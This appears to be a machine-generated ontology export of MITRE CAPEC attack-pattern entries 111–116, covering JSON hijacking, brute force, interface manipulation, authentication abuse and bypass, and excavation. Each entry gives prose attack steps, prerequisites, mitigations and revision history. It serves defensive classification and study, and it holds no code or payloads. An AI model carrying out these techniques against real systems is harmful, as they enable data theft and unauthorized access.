#indSubmissionSubmission1674 + Submission_1674 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification1679 + Modification_1679 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification1685 + Modification_1685 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification1691 + Modification_1691 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification1697 + Modification_1697 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns, Skills_Required + + + + + + + + + + + + #CAPEC-111 + JSON Hijacking (aka JavaScript Hijacking) + + + + + + + + + 111 + + + + + JSON Hijacking (aka JavaScript Hijacking) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An attacker gets the victim to visit their malicious page that contains a script tag whose source points to the vulnerable system with a URL that requests a response from the server containing a JSON object with possibly confidential information. The malicious page also contains malicious code to capture the JSON object returned by the server before any other processing on it can take place, typically by overriding the JavaScript function used to create new objects. This hook allows the malicious code to get access to the creation of each object and transmit the possibly sensitive contents of the captured JSON object to the attackers' server.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;There is nothing in the browser's security model to prevent the attackers' malicious JavaScript code (originating from attacker's domain) to set up an environment (as described above) to intercept a JSON object response (coming from the vulnerable target system's domain), read its contents and transmit to the attackers' controlled site. The same origin policy protects the domain object model (DOM), but not the JSON.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern1716 + Related_Attack_Pattern_1716 + + + + + + + + + + + + + + 212 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep1721 + Attack_Step_1721 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Understand How to Request JSON Responses from the Target System] An attacker first explores the target system to understand what URLs need to be provided to it in order to retrieve JSON objects that contain information of interest to the attacker.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker creates an account with the target system and observes requests and the corresponding JSON responses from the server. Understanding how to properly elicit responses from the server is crucial to the attackers' ability to craft the exploit.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1727 + Attack_Step_1727 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft a malicious website]&lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The attacker crafts a malicious website to which they plan to lure the victim who is using the vulnerable target system. The malicious website does two things:&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;1. Contains a hook that intercepts incoming JSON objects, reads their contents and forwards the contents to the server controlled by the attacker (via a new XMLHttpRequest).&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;2. Uses the script tag with a URL in the source that requests a JSON object from the vulnerable target system. Once the JSON object is transmitted to the victim's browser, the malicious code (as described in step 1) intercepts that JSON object, steals its contents, and forwards to the attacker.&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack step leverages the fact that the same origin policy in the browser does not protect JavaScript originating from one domain from setting up an environment to intercept and access JSON objects arriving from a completely different domain.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1738 + Attack_Step_1738 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Launch JSON hijack] An attacker lures the victim to the malicious website or leverages other means to get their malicious code executing in the victim's browser. Once that happens, the malicious code makes a request to the victim target system to retrieve a JSON object with sensitive information. The request includes the victim's session cookie if the victim is logged in.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker employs a myriad of standard techniques to get the victim to visit their malicious site or by some other means get the attackers' malicious code executing in the victim's browser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">JSON is used as a transport mechanism between the client and the server</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target server cannot differentiate real requests from forged requests</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The JSON object returned from the server can be accessed by the attackers' malicious code via a script tag</xhtml:div> + + + + + + + + + + + + #indSkillSkill1751 + Skill_1751 + + + + + + + + + + + + + + Once this attack pattern is developed and understood, creating an exploit is not very complex.The attacker needs to have knowledge of the URLs that need to be accessed on the target system to request the JSON objects. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence1757 + Consequence_1757 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that server side code can differentiate between legitimate requests and forged requests. The solution is similar to protection against Cross Site Request Forger (CSRF), which is to use a hard to guess random nonce (that is unique to the victim's session with the server) that the attacker has no way of knowing (at least in the absence of other weaknesses). Each request from the client to the server should contain this nonce and the server should reject all requests that do not contain the nonce.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">On the client side, the system's design could make it difficult to get access to the JSON object content via the script tag. Since the JSON object is never assigned locally to a variable, it cannot be readily modified by the attacker before being used by a script tag. For instance, if while(1) was added to the beginning of the JavaScript returned by the server, trying to access it with a script tag would result in an infinite loop. On the other hand, legitimate client side code can remove the while(1) statement after which the JavaScript can be evaluated. A similar result can be achieved by surrounding the returned JavaScript with comment tags, or using other similar techniques (e.g. wrapping the JavaScript with HTML tags).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Make the URLs in the system used to retrieve JSON objects unpredictable and unique for each user session.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that to the extent possible, no sensitive data is passed from the server to the client via JSON objects. JavaScript was never intended to play that role, hence the same origin policy does not adequate address this scenario.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Gmail service was found to be vulnerable to a JSON Hijacking attack that enabled an attacker to get the contents of the victim's address book. An attacker could send an e-mail to the victim's Gmail account (which ensures that the victim is logged in to Gmail when they receive it) with a link to the attackers' malicious site. If the victim clicked on the link, a request (containing the victim's authenticated session cookie) would be sent to the Gmail servers to fetch the victim's address book. This functionality is typically used by the Gmail service to get this data on the fly so that the user can be provided a list of contacts from which to choose the recipient of the e-mail.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When the JSON object with the contacts came back, it was loaded into the JavaScript space via a script tag on the attackers' malicious page. Since the JSON object was never assigned to a local variable (which would have prevented a script from a different domain accessing it due to the browser's same origin policy), another mechanism was needed to access the data that it contained. That mechanism was overwriting the internal array constructor with the attackers' own constructor in order to gain access to the JSON object's contents. These contents could then be transferred to the site controlled by the attacker.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 345 + + + + + 346 + + + + + 352 + + + + + + + + + + + + #indContentHistoryContentHistory1779 + Content_History_1779 + + + + + + + + + + + + + + + + #indSubmissionSubmission1780 + Submission_1780 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification1785 + Modification_1785 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification1791 + Modification_1791 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attacker_Skills_or_Knowledge_Required, Resources_Required + + + + + + + + + + + + #indModificationModification1797 + Modification_1797 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification1803 + Modification_1803 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Example_Instances, Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification1809 + Modification_1809 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification1815 + Modification_1815 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-112 + Brute Force + + + + + + + + + 112 + + + + + Brute Force + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack, some asset (information, functionality, identity, etc.) is protected by a finite secret value. The attacker attempts to gain access to this asset by using trial-and-error to exhaustively explore all the possible secret values in the hope of finding the secret (or a value that is functionally equivalent) that will unlock the asset.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Examples of secrets can include, but are not limited to, passwords, encryption keys, database lookup keys, and initial values to one-way functions. The key factor in this attack is the attackers' ability to explore the possible secret space rapidly. This, in turn, is a function of the size of the secret space and the computational power the attacker is able to bring to bear on the problem. If the attacker has modest resources and the secret space is large, the challenge facing the attacker is intractable. Assuming a finite secret space, a brute force attack will eventually succeed. The defender must rely on making sure that the time and resources necessary to do so will exceed the value of the information.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indAttackStepAttackStep1830 + Attack_Step_1830 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine secret testing procedure] Determine how a potential guess of the secret may be tested. This may be accomplished by comparing some manipulation of the secret to a known value, use of the secret to manipulate some known set of data and determining if the result displays specific characteristics (for example, turning cryptotext into plaintext), or by submitting the secret to some external authority and having the external authority respond as to whether the value was the correct secret. Ideally, the attacker will want to determine the correctness of their guess independently since involvement of an external authority is usually slower and can provide an indication to the defender that a brute-force attack is being attempted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine if there is a way to parallelize the attack. Most brute force attacks can take advantage of parallel techniques by dividing the search space among available resources, thus dividing the average time to success by the number of resources available. If there is a single choke point, such as a need to check answers with an external authority, the attackers' position is significantly degraded.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1836 + Attack_Step_1836 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Reduce search space] Find ways to reduce the secret space. The smaller the attacker can make the space they need to search for the secret value, the greater their chances for success. There are a great many ways in which the search space may be reduced.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If possible, determine how the secret was selected. If the secret was determined algorithmically (such as by a random number generator) the algorithm may have patterns or dependencies that reduce the size of the secret space. If the secret was created by a human, behavioral factors may, if not completely reduce the space, make some types of secrets more likely than others. (For example, humans may use the same secrets in multiple places or use secrets that look or sound familiar for ease of recall.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the secret was chosen algorithmically, cryptanalysis can be applied to the algorithm to discover patterns in this algorithm. (This is true even if the secret is not used in cryptography.) Periodicity, the need for seed values, or weaknesses in the generator all can result in a significantly smaller secret space.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the secret was chosen by a person, social engineering and simple espionage can indicate patterns in their secret selection. If old secrets can be learned (and a target may feel they have little need to protect a secret that has been replaced) hints as to their selection preferences can be gleaned. These can include character substitutions a target employs, patterns in sources (dates, famous phrases, music lyrics, family members, etc.). Once these patterns have been determined, the initial efforts of a brute-force attack can focus on these areas.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some algorithmic techniques for secret selection may leave indicators that can be tested for relatively easily and which could then be used to eliminate large areas of the search space for consideration. For example, it may be possible to determine that a secret does or does not start with a given character after a relatively small number of tests. Alternatively, it might be possible to discover the length of the secret relatively easily. These discoveries would significantly reduce the search space, thus increasing speed with which the attacker discovers the secret.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1845 + Attack_Step_1845 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Expand victory conditions] It is sometimes possible to expand victory conditions. For example, the attacker might not need to know the exact secret but simply needs a value that produces the same result using a one-way function. While doing this does not reduce the size of the search space, the presence of multiple victory conditions does reduce the likely amount of time that the attacker will need to explore the space before finding a workable value.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1850 + Attack_Step_1850 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Gather information so attack can be performed independently.] If possible, gather the necessary information so a successful search can be determined without consultation of an external authority. This can be accomplished by capturing cryptotext (if the goal is decoding the text) or the encrypted password dictionary (if the goal is learning passwords).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to determine when they have successfully guessed the secret. As such, one-time pads are immune to this type of attack since there is no way to determine when a guess is correct.</xhtml:div> + + + + + + + + + + + + #indSkillSkill1860 + Skill_1860 + + + + + + + + + + + + + + The attack simply requires basic scripting ability to automate the exploration of the search space. More sophisticated attackers may be able to use more advanced methods to reduce the search space and increase the speed with which the secret is located. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. Ultimately, the speed with which an attacker discovers a secret is directly proportional to the computational resources the attacker has at their disposal. This attack method is resource expensive: having large amounts of computational power do not guarantee timely success, but having only minimal resources makes the problem intractable against all but the weakest secret selection procedures.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Repeated submissions of incorrect secret values may indicate a brute force attack. For example, repeated bad passwords when accessing user accounts or repeated queries to databases using non-existent keys.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempts to download files protected by secrets (usually using encryption) may be a precursor to an offline attack to break the file's encryption and read its contents. This is especially significant if the file itself contains other secret values, such as password files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the attacker is able to perform the checking offline then there will likely be no indication that an attack is ongoing.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence1871 + Consequence_1871 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1875 + Consequence_1875 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Select a provably large secret space for selection of the secret. Provably large means that the procedure by which the secret is selected does not have artifacts that significantly reduce the size of the total secret space.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a secret space that is well known and with no known patterns that may reduce functional size.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not provide the means for an attacker to determine success independently. This forces the attacker to check their guesses against an external authority, which can slow the attack and warn the defender. This mitigation may not be possible if testing material must appear externally, such as with a transmitted cryptotext.</xhtml:div> + + + + + 330 + + + + + 326 + + + + + 521 + + + + + + + + + + + + #indTaxonomyMappingBruteForce + Brute Force + + + + + + + + + + + + + + 1110 + + + + + Brute Force + + + + + + + + + + + + #indTaxonomyMappingBruteForce + Brute Force + + + + + + + + + + + + + + 11 + + + + + Brute Force + + + + + + + + + + + + #indTaxonomyMappingBruteForceAttack + Brute force attack + + + + + + + + + + + + + + Brute force attack + + + + + + + + + + + + #indContentHistoryContentHistory1905 + Content_History_1905 + + + + + + + + + + + + + + + + #indSubmissionSubmission1906 + Submission_1906 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification1911 + Modification_1911 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Attack_Patterns, Resources_Required + + + + + + + + + + + + #indModificationModification1917 + Modification_1917 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Mitigations, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification1923 + Modification_1923 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification1929 + Modification_1929 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-113 + Interface Manipulation + + + + + + + + + 113 + + + + + Interface Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary manipulates the use or processing of an interface (e.g. Application Programming Interface (API) or System-on-Chip (SoC)) resulting in an adverse impact upon the security of the system implementing the interface. This can allow the adversary to bypass access control and/or execute functionality not intended by the interface implementation, possibly compromising the system which integrates the interface. Interface manipulation can take on a number of forms including forcing the unexpected use of an interface or the use of an interface in an unintended way.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target system must expose interface functionality in a manner that can be discovered and manipulated by an adversary. This may require reverse engineering the interface or decrypting/de-obfuscating client-server exchanges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The requirements vary depending upon the nature of the interface. For example, application-layer APIs related to the processing of the HTTP protocol may require one or more of the following: an Adversary-In-The-Middle (CAPEC-94) proxy, a web browser, or a programming/scripting language.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may make a request to an application that leverages a non-standard API that is known to incorrectly validate its data and thus it may be manipulated by supplying metacharacters or alternate encodings as input, resulting in any number of injection flaws, including SQL injection, cross-site scripting, or command execution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">API methods not intended for production, such as debugging or testing APIs, may not be disabled when deploying in a production environment. As a result, dangerous functionality can be exposed within the production environment, which an adversary can leverage to execute additional attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SoC components contain insufficient identifiers, which allows an adversary to reset the device at will or read sensitive data from the device.</xhtml:div> + + + + + 1192 + + + + + + + + + + + + #indContentHistoryContentHistory1955 + Content_History_1955 + + + + + + + + + + + + + + + + #indSubmissionSubmission1956 + Submission_1956 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification1961 + Modification_1961 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attack_Prerequisites, Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification1967 + Modification_1967 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Injection_Vector, Payload, Payload_Activation_Impact, Related_Weaknesses, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification1973 + Modification_1973 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, Description, Example_Instances, Prerequisites, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification1979 + Modification_1979 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName1985 + Previous_Entry_Name_1985 + + + + + + + + + 2015-12-07 + + + + + API Abuse/Misuse + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName1986 + Previous_Entry_Name_1986 + + + + + + + + + 2020-12-17 + + + + + API Manipulation + + + + + + + + + + + + #CAPEC-114 + Authentication Abuse + + + + + + + + + 114 + + + + + Authentication Abuse + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the "Exploitation of Session Variables, Resource IDs and other Trusted Credentials" attack patterns.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An authentication mechanism or subsystem implementing some form of authentication such as passwords, digest authentication, security certificates, etc. which is flawed in some way.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A client application, command-line access to a binary, or scripting language capable of interacting with the authentication mechanism.</xhtml:div> + + + + + 287 + + + + + 1244 + + + + + + + + + + + + #indTaxonomyMappingAbuseElevationControlMechanism + Abuse Elevation Control Mechanism + + + + + + + + + + + + + + 1548 + + + + + Abuse Elevation Control Mechanism + + + + + + + + + + + + #indContentHistoryContentHistory2011 + Content_History_2011 + + + + + + + + + + + + + + + + #indSubmissionSubmission2012 + Submission_2012 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2017 + Modification_2017 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification2023 + Modification_2023 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification2029 + Modification_2029 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification2035 + Modification_2035 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-115 + Authentication Bypass + + + + + + + + + 115 + + + + + Authentication Bypass + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This refers to an attacker gaining access equivalent to an authenticated user without ever going through an authentication procedure. This is usually the result of the attacker using an unexpected access procedure that does not go through the proper checkpoints where authentication should occur. For example, a web site might assume that all users will click through a given link in order to get to secure material and simply authenticate everyone that clicks the link. However, an attacker might be able to reach secured web content by explicitly entering the path to the content rather than clicking through the authentication link, thereby avoiding the check entirely. This attack pattern differs from other authentication attacks in that attacks of this pattern avoid authentication entirely, rather than faking authentication by exploiting flaws or by stealing credentials from legitimate users.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An authentication mechanism or subsystem implementing some form of authentication such as passwords, digest authentication, security certificates, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A client application, such as a web browser, or a scripting language capable of interacting with the target.</xhtml:div> + + + + + 287 + + + + + + + + + + + + #indTaxonomyMappingAbuseElevationControlMechanism + Abuse Elevation Control Mechanism + + + + + + + + + + + + + + 1548 + + + + + Abuse Elevation Control Mechanism + + + + + + + + + + + + #indReferenceReference2066 + Reference_2066 + + + + + + + + + REF-598 + + + + + Testing for Bypassing Authentication Schema + + + + + + + + + + + + #indContentHistoryContentHistory2068 + Content_History_2068 + + + + + + + + + + + + + + + + #indSubmissionSubmission2069 + Submission_2069 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2074 + Modification_2074 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification2080 + Modification_2080 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification2086 + Modification_2086 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References + + + + + + + + + + + + #indModificationModification2092 + Modification_2092 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification2098 + Modification_2098 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-116 + Excavation + + + + + + + + + 116 + + + + + Excavation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary actively probes the target in a manner that is designed to solicit information that could be leveraged for malicious purposes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This is achieved by exploring the target via ordinary interactions for the purpose of gathering intelligence about the target, or by sending data that is syntactically invalid or non-standard in an attempt to produce a response that contains the desired data. As a result of these interactions, the adversary is able to obtain information from the target that aids the attacker in making inferences about its security, configuration, or potential vulnerabilities. Examplar exchanges with the target may trigger unhandled exceptions or verbose error messages that reveal information like stack traces, configuration information, path information, or database design. This type of attack also includes the manipulation of query strings in a URI to produce invalid SQL queries, or by trying alternative path values in the hope that the server will return useful information.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern2114 + Related_Attack_Pattern_2114 + + + + + + + + + + + + + + 163 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary requires some way of interacting with the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool, such as an Adversary in the Middle (CAPEC-94) Proxy or a fuzzer, that is capable of generating and injecting custom inputs to be used in the attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2123 + Consequence_2123 + + + + + + + 